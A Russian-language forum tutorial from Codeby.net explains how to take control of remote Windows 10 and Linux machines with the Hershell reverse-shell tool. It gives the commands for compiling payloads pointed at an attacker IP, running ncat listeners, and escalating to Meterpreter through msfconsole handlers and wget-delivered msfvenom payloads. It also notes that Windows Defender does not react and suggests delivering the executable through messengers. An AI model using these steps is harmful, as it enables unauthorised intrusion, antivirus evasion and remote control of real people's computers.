Hack Windows 10, Linux x32(x64) - Hershell
@webwareПриветствую гостей и участников Codeby.net. В этой статье поговорим о способах проникновения и получения контроля над удаленными ПК на ОС Linux и Windows.
Наша первоочередная цель – это заполучить надежный shell на нужном хосте, а потом уже думать над повышением привилегий и так далее.
И для ее осуществления я выбрал инструмент под названием Hershell, не громоздкая утилита, удобная в использовании, написанная на Go (Golang).

Он использует TLS для защиты соединений и обеспечивает функцию фиксации отпечатка пальца, открытого ключа сертификата, предотвращая перехват трафика.
Поддерживаемые ОС:
- Windows
- Linux
- Mac OS
- FreeBSD и её производные.*
*Только если ваша FreeBSD может запускать ELF файлы.
Очевидными плюсами, разработчики Hershell называют, простоту создания обратного шелла, поддержку множества операционных систем, и в отличие от meterpreter, незаметность для AV-решений.
Так, как инструмент написан на Go, мы можем кросс-компилировать исполняемый код для платформы, отличной от той, на которой исполняется сам кросс-компилятор.
Для своих экспериментов я выбрал в качестве атакующего хоста – OS Kali Linux 2018.4.
Атакуемые – Debian, Windows 10 Pro.
В Kali Linux по умолчанию Go не установлен, поэтому его необходимо скачать и установить вручную:
wget https://dl.google.com/go/go1.11.linux-amd64.tar.gz tar -C /usr/local -xzf go1.11.linux-amd64.tar.gz

И добавить в переменную PATH, путь к установленному пакету (редактируем .bashrc)
export PATH="/usr/local/go/bin:$PATH"

Скачиваем себе Hershell со страницы разработчиков на Github.
git clone https://github.com/lesnuages/hershell

Создание полезной нагрузки:
Для этого этапа нам потребуется указать значения нескольких переменных для Makefile.
- GOOS: целевая ОС.
- GOARCH: целевая архитектура.
- LHOST: IP-адрес атакующего или доменное имя.
- LPORT: слушающий порт.
Функции доступные в Makefile:
- depends: генерирует сертификат сервера (требуется для обратного шелла).
- windows32: создает 32-битные исполняемые файлы (PE 32 бит)
- windows64: создает 64-битные исполняемые файлы (PE 64 бит)
- linux32: создает исполняемый файл linux 32 бита (ELF 32 бит)
- linux64: создает исполняемый файл Linux 64 бит (ELF 64 бит)
- macos32: создает исполняемый файл mac os 32 бит (Mach-O)
- macos64: создает исполняемый файл mac os 64 бит (Mach-O)
Использование shell’a:
После запуска на целевом хосте, вам будет предоставлена удаленная оболочка. Эта пользовательская интерактивная оболочка позволит вам выполнять системные команды через cmd.exe в Windows или /bin/sh на машинах UNIX.
Поддерживаются следующие специальные команды:
- run_shell: дает управление системной оболочкой (позволяя, например, изменять каталоги).
- inject <base64 shellcode>: вводит шеллкод (закодированный base64) в память этого же процесса и выполняет его.
- meterpreter [tcp | http | https] IP: PORT: подключается к multi/handler, чтобы получить обратный tcp, http или https meterpreter stage2 из metasploit и выполнить шеллкод в памяти (только в Windows).
- exit: выход.
Использование Hershell:
Прежде всего, вам нужно будет создать действительный сертификат:
make depends

Компиляция для Windows:
# Predifined 32 bit target $ make windows32 LHOST=192.168.0.12 LPORT=1234 # Predifined 64 bit target $ make windows64 LHOST=192.168.0.12 LPORT=1234
Компиляция для Linux:
# Predifined 32 bit target $ make linux32 LHOST=192.168.0.12 LPORT=1234 # Predifined 64 bit target $ make linux64 LHOST=192.168.0.12 LPORT=1234
Компиляция для Mac OS X:
$ make macos LHOST=192.168.0.12 LPORT=1234
Для обработки входящих соединений можно использовать различные инструменты, такие как:
- socat
- ncat
- openssl server module
- metasploit multi handler (с python/shell_reverse_tcp_ssl payload)
Компилируем полезную нагрузку для Windows x64:
make windows64 LHOST=192.168.0.101 LPORT=4444

В каталоге появляется файл hershell.exe, который нам необходимо доставить на целевой хост.

Сейчас популярны мессенджеры, проще всего использовать их, к примеру.

После скачивания, на него не обратил внимания Защитник Windows, и дал спокойно сохранить файл.
Теперь необходимо, настроиться на получение входящих подключений, я выбрал ncat, по умолчанию он отсутствует, но можно поставить из репозиториев.
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444

Когда на целевом хосте выполниться файл hershell.exe, мы получим обратный шелл.
К слову, тот же Защитник Windows, был не против запуска файла и никакой реакции не последовало.

Как итог, полноценный шелл командной строки Windows:

Шелл Hershell, несомненно, хорош, но у него есть замечательная функция – инициация шелла meterpreter, проапгрейдим его:
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST 192.168.0.101 set LPORT 4445 set HANDLERSSLCERT /home/Pentest/hershell/server.pem exploit

Создаем meterpreter сессию из Hershell:
meterpreter https 192.168.0.101:4445

Итог, немного предсказуем:

А в процессах мы видим такую картину:

Стоит отметить, что процесс Hershell включает в себя meterpreter, при снятии этой задачи – погибает и сессия в msfconsole.
Дальнейшие действия зависят от ваших умений и фантазии.
C Windows’ами все понятно, теперь проверим как Hershell сработает на Debian, компилируем полезную нагрузку:
make linux64 LHOST=192.168.0.101 LPORT=4444

Активируем прием входящих подключений:
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4444
И запускаем полезную нагрузку на целевом хосте:

Шелл здесь довольно ограничен, поэтому хотелось бы, расширения возможностей, стандартной функции импорта meterpreter нет, но мы можем использовать wget для загрузки файла содержащего meterpreter.
С помощью msfvenom создадим полезную нагрузку:

И поместим ее на локальный сервер, для последующей загрузки на целевой хост:

Загружаем из Hershell на целевом хосте файл с нашего сервера:

Дальше Metasploit и все необходимые настройки для получения сессии:

Запускаем созданный и загруженный файл, на целевой ОС:

И пользуемся полноценным шеллом meterpreter:

В дополнение, чтобы полностью почувствовать себя дома, включаем шелл от текущего пользователя и импортируем удобную нам оболочку:
shell
python -c 'import pty;pty.spawn("/bin/bash")'

Все, это конец) Мысли и предложения жду в комментариях.
Специально для Cobeby.net.